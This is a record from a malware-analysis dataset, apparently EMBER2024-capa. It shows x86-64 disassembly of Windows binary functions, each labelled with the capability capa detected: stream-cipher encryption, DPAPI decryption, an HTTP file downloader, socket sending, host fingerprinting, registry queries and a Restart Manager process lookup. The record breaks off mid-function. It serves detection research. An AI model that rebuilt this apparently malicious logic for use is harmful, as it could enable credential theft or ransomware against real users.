joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006d9c0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov dword [rcx], 0x61707865
mov r10, rcx
mov dword [rcx + 4], 0x3320646e
mov dword [rcx + 8], 0x79622d32
mov dword [rcx + 0xc], 0x6b206574
movzx eax, byte [rdx + 2]
movzx r9d, byte [rdx + 3]
shl r9d, 8
or r9d, eax
movzx eax, byte [rdx + 1]
shl r9d, 8
or r9d, eax
movzx eax, byte [rdx]
shl r9d, 8
or r9d, eax
mov dword [rcx + 0x10], r9d
movzx eax, byte [rdx + 6]
movzx ecx, byte [rdx + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 4]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x14], ecx
movzx eax, byte [rdx + 0xa]
movzx ecx, byte [rdx + 0xb]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 8]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x18], ecx
movzx eax, byte [rdx + 0xe]
movzx ecx, byte [rdx + 0xf]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0xc]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x1c], ecx
movzx eax, byte [rdx + 0x12]
movzx ecx, byte [rdx + 0x13]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x10]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x20], ecx
movzx eax, byte [rdx + 0x16]
movzx ecx, byte [rdx + 0x17]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x14]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x24], ecx
movzx eax, byte [rdx + 0x1a]
movzx ecx, byte [rdx + 0x1b]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x18]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x28], ecx
movzx eax, byte [rdx + 0x1e]
movzx ecx, byte [rdx + 0x1f]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x1c]
shl ecx, 8
or ecx, eax
xor eax, eax
mov dword [r10 + 0x2c], ecx
mov qword [r10 + 0x30], rax
movzx eax, byte [r8 + 2]
movzx ecx, byte [r8 + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x38], ecx
movzx eax, byte [r8 + 6]
movzx ecx, byte [r8 + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 4]
shl ecx, 8
or ecx, eax
mov rax, r10
mov dword [r10 + 0x3c], ecx
ret
Function at 0x14006fb20
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rcx
mov qword [rbp - 0x11], rcx
xor esi, esi
mov dword [rbp - 0x15], esi
mov qword [rbp + 0xf], rdx
mov dword [rbp + 7], r8d
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 7]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14006fc4c
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], sil
mov ebx, dword [rbp - 9]
test rbx, rbx
jne 0x14006fbb7
mov qword [rbp + 0x27], rbx
mov byte [rbp + rbx + 0x17], bl
jmp 0x14006fbeb
lea rcx, [rbp + 0x17]
cmp rbx, 0xf
ja 0x14006fbd6
mov qword [rbp + 0x27], rbx
mov r8, rbx
xor edx, edx
call fcn.1400bd240
mov byte [rbp + rbx + 0x17], 0
jmp 0x14006fbeb
mov byte [rsp + 0x20], 0
mov r9, rbx
movzx r8d, byte [rbp - 0x19]
mov rdx, rbx
call fcn.140045780
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
mov r8d, dword [rbp - 9]
mov rdx, qword [rbp - 1]
call fcn.1400bcba0
mov rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], 0
mov byte [rdi + 0x20], 1
mov dword [rbp - 0x15], 1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], 0
jmp 0x14006fc57
mov byte [rdi + 0x20], sil
mov dword [rbp - 0x15], 1
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14006fe40
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rcx
mov qword [rbp - 0x11], rcx
xor esi, esi
mov dword [rbp - 0x15], esi
mov qword [rbp + 0xf], rdx
mov dword [rbp + 7], r8d
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 7]
call qword [sym.imp.CRYPT32.dll_CryptProtectData]
test eax, eax
je 0x14006ff6c
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], sil
mov ebx, dword [rbp - 9]
test rbx, rbx
jne 0x14006fed7
mov qword [rbp + 0x27], rbx
mov byte [rbp + rbx + 0x17], bl
jmp 0x14006ff0b
lea rcx, [rbp + 0x17]
cmp rbx, 0xf
ja 0x14006fef6
mov qword [rbp + 0x27], rbx
mov r8, rbx
xor edx, edx
call fcn.1400bd240
mov byte [rbp + rbx + 0x17], 0
jmp 0x14006ff0b
mov byte [rsp + 0x20], 0
mov r9, rbx
movzx r8d, byte [rbp - 0x19]
mov rdx, rbx
call fcn.140045780
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rcx, qword [rbp + 0x17]
mov r8d, dword [rbp - 9]
mov rdx, qword [rbp - 1]
call fcn.1400bcba0
mov rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], 0
mov byte [rdi + 0x20], 1
mov dword [rbp - 0x15], 1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], 0xf
mov byte [rbp + 0x17], 0
jmp 0x14006ff77
mov byte [rdi + 0x20], sil
mov dword [rbp - 0x15], 1
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140072d10
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.1400aa6f0
sub rsp, rax
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140072e2b
cmp qword [rdi + 0x18], 0xf
jbe 0x140072d97
mov rdi, qword [rdi]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140072e22
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140072e19
nop dword [rax + rax]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140072e19
mov r9d, eax
mov rdx, qword [rbx + 8]
lea r8, [rsp + 0x50]
mov rcx, rbx
call fcn.140073d20
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140072de0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rbx
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400769e0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x140076af5
mov rdx, qword [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x140076a53
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rcx, [rsp + 0x28]
call fcn.140034b20
mov ebx, 5
mov dword [rsp + 0x20], ebx
and ebx, 0xfffffffb
mov dword [rsp + 0x20], ebx
or ebx, 2
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.14003f9d0
and ebx, 0xfffffffd
mov dword [rsp + 0x20], ebx
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x140076ae2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140076add
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140076b22
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f70]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], si
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14008d658
int3
Function at 0x140078940
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
test rdx, rdx
je 0x1400789b4
mov qword [rsp + 0x30], rbp
mov ebp, 0x7fffffff
nop word [rax + rax]
mov rcx, qword [0x14012b000]
lea rdx, [rbx + rsi]
mov r8d, edi
cmp rdi, rbp
cmova r8d, ebp
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14007899c
cdqe
add rbx, rax
sub rdi, rax
jne 0x140078970
mov rbp, qword [rsp + 0x30]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14007d3d0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rbx, rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov esi, eax
mov word [rsp + 0x20], bp
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
movsxd rdi, eax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 0xf
mov byte [rbx], bpl
mov dword [rsp + 0x30], 1
mov rdx, rdi
xor r8d, r8d
mov rcx, rbx
call fcn.14003fae0
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14007d452
mov r8, qword [rbx]
mov word [rsp + 0x20], bp
mov r9d, edi
mov edx, 4
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
lea eax, [rdi - 1]
movsxd rdx, eax
xor r8d, r8d
mov rcx, rbx
call fcn.14003fae0
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14007dc50
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x10050
call fcn.1400aa6f0
sub rsp, rax
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x30], 0x7fff
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x14007dcae
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14006f870
jmp 0x14007dcc3
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
mov dword [rsp + 0x20], 1
mov rax, rbx
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0x10068]
add rsp, 0x10050
pop rdi
ret

Function at 0x14007dcf0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x10050
call fcn.1400aa6f0
sub rsp, rax
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x30], 0x7fff
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x14007dd4e
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14006f870
jmp 0x14007dd63
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
mov dword [rsp + 0x20], 1
mov rax, rbx
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0x10068]
add rsp, 0x10050
pop rdi
ret
Function at 0x14007dd90
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
xor esi, esi
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x48]
call fcn.1400774f0
nop
cmp qword [rax + 0x18], 7
jbe 0x14007dde3
mov rax, qword [rax]
mov dword [rsp + 0x38], 0x100
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x74]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
mov r8d, 0x100
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edi, eax
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14007de6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007de65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007df57
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f70]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], si
test edi, edi
jne 0x14007dea3
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
mov dword [rsp + 0x40], 1
jmp 0x14007df2c
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x60]
call fcn.1400bd240
lea rcx, [rbp - 0x60]
call fcn.140070110
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, dword [rbp + rcx - 0x38]
and eax, 0xfffff9ff
bts eax, 0xb
mov dword [rbp + rcx - 0x38], eax
mov edx, dword [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.140070270
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.14003dfc0
nop
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rbx + 0x10], xmm1
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov dword [rsp + 0x40], 1
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
lea rcx, [rbp - 0x60]
call fcn.14003cd30
mov rax, rbx
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.1400a9a30
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14008d658
int3
Function at 0x14007df60
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x180
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x50], 0x104
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
mov r9d, 2
lea r8, str.ProductName
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
test eax, eax
je 0x14007dfea
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x14007e004
mov r8d, dword [rsp + 0x50]
dec r8d
mov qword [rbx + 0x18], rdi
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.1400300a0
nop
mov dword [rsp + 0x40], 1
mov rax, rbx
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0x198]
add rsp, 0x180
pop rdi
ret

Function at 0x14007e8b0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rdi
sub rsp, 0x498
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rbx, r9
mov rax, r8
mov r10, rdx
mov rdi, rcx
mov qword [rsp + 0x58], rcx
xor ecx, ecx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x60], 0x400
mov dword [rsp + 0x70], 0xf003f
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], cl
mov dword [rsp + 0x30], 1
cmp qword [r8 + 0x18], 0xf
jbe 0x14007e91e
mov rax, qword [r8]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rax
mov rcx, r10
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14007ea0a
cmp qword [rbx + 0x18], 0xf
jbe 0x14007e94f
mov rbx, qword [rbx]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14007ea0a
mov r8d, dword [rsp + 0x60]
dec r8d
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x38]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.14003fbe0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14007e9f7
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e9f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007ea37
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14007ea1a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400a9a30
add rsp, 0x498
pop rdi
pop rbx
ret
call fcn.14008d658
int3
Function at 0x14007ea40
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x490
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rbx, r9
mov rax, r8
mov rdi, rcx
mov qword [rsp + 0x58], rcx
xor ecx, ecx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x60], 0x400
mov dword [rsp + 0x70], 0xf003f
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], cl
mov dword [rsp + 0x30], 1
cmp qword [r8 + 0x18], 0xf
jbe 0x14007eaae
mov rax, qword [r8]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14007eb9b
cmp qword [rbx + 0x18], 0xf
jbe 0x14007eae3
mov rbx, qword [rbx]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14007eb9b
mov r8d, dword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x38]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.14003fbe0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14007eb88
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007eb83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007ebcf
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14007ebab
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400a9a30
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x490
pop rdi
ret
call fcn.14008d658
int3
Function at 0x140081670
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov qword [rbp - 0x31], rcx
xor ebx, ebx
mov dword [rbp - 0x21], ebx
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140131dd8], eax
jle 0x1400816f5
lea rcx, [0x140131dd8]
call fcn.1400a9b00
cmp dword [0x140131dd8], 0xffffffff
jne 0x1400816f5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x140131ddc], eax
lea rcx, [0x140131dd8]
call fcn.1400a9a94
lea rdi, [rbp - 9]
xor eax, eax
mov ecx, 0x42
rep stosb byte [rdi], al
lea r8, [rbp - 9]
xor edx, edx
lea rcx, [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x140081821
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp - 0x31]
mov edx, 1
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x140081818
mov dword [rbp - 0x19], ebx
mov dword [rbp - 0x39], ebx
mov dword [rbp - 0x1d], ebx
lea rdi, [rbp - 0x29]
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp - 0x1d]
lea rdx, [rbp - 0x39]
mov ecx, dword [rbp - 0x21]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x140081865
mov eax, dword [rbp - 0x39]
test eax, eax
je 0x140081865
mov ecx, eax
mov eax, 0x29c
mul rcx
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call fcn.14009408c
mov rsi, rax
mov ecx, dword [rbp - 0x21]
test rax, rax
je 0x140081868
mov eax, dword [rbp - 0x39]
mov dword [rbp - 0x1d], eax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
mov r9, rsi
lea r8, [rbp - 0x1d]
lea rdx, [rbp - 0x39]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x14008185d
cmp dword [rbp - 0x39], eax
je 0x14008185d
mov edx, ebx
mov r8d, dword [rbp - 0x1d]
test r8d, r8d
je 0x140081818
mov r9d, dword [0x140131ddc]
nop word [rax + rax]
mov eax, edx
